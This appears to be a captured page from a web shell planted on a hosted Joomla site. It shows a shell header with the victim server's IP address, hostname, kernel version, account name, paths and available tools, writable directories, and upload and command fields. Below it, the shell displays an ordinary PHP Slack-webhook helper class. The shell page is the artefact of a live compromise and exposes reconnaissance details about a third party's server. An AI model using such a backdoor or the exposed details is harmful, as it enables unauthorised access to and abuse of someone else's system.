403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.101
Web Server : Apache
System : Linux webm005.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : bsiadvisil ( 110003)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bsiadvisil/www/libraries/msframework/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bsiadvisil/www/libraries/msframework/helpers/slack.php
<?php
/**
 * MS Framework
 *
 * @package    	MS Framework Library
 * @version 	1.2.1.573
 *
 * @author 		Michael Snoeren
 * @link 		https://snoerendevelopment.nl/
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

// Deny direct access
defined('_JEXEC') or die;

abstract class MSFrameworkHelperSlack
{
	/**
	 * Class Data
	 * @var 	Mixed
	 * @access 	Protected
	 */
	protected static $webhookUrl= '';
	protected static $lastMsg 	= null;

	/**
	 * Set the webhook url
	 * @param 	String 	$url 	The webhook url
	 * @access 	Public
	 * @return 	Boolean
	 */
	public static function setWebhookUrl($url)
	{
		if (!is_string($url) || empty($url)) {
			return false;
		}

		/**
		 * Validate
		 */
		// Check if the webhook base url is in it
		if (strpos($url, 'hooks.slack.com') === false) {
			return false;
		}

		// Check if the webhook returns the error code 'invalid_payload'
		$http 					= new JHttp;
		$response 				= $http->get($url);

		if ((int) $response->code !== 400 || $response->body !== 'invalid_payload') {
			return false;
		}

		// Set the webhook url
		self::$webhookUrl 		= $url;

		return true;
	}

	/**
	 * Check if the class has a valid webhook
	 * @access 	Public
	 * @return 	Boolean
	 */
	public static function hasWebhookUrl()
	{
		return !empty(self::$webhookUrl);
	}

	/**
	 * Send a message to the Slack channel
	 * @param 	Array 	$msg 	The array containing all Slack data
	 * @access 	Public
	 * @return 	Boolean 		True is succeeded, false if failed
	 */
	public static function send(array $msg)
	{
		if (!count($msg) || !array_key_exists('text', $msg)) {
			return false;
		}

		// Check if we have a valid webhook url
		if (!self::hasWebhookUrl()) {
			return false;
		}

		// Try to encode the data
		$payload 				= @json_encode($msg);
		if ($payload === false) {
			return false;
		}

		// Send the message
		$http 					= new JHttp;
		$response 				= $http->post(self::$webhookUrl, $payload);

		// Check the request
		if ((int) $response->code !== 200 || $response->body !== 'ok') {
			return false;
		}

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit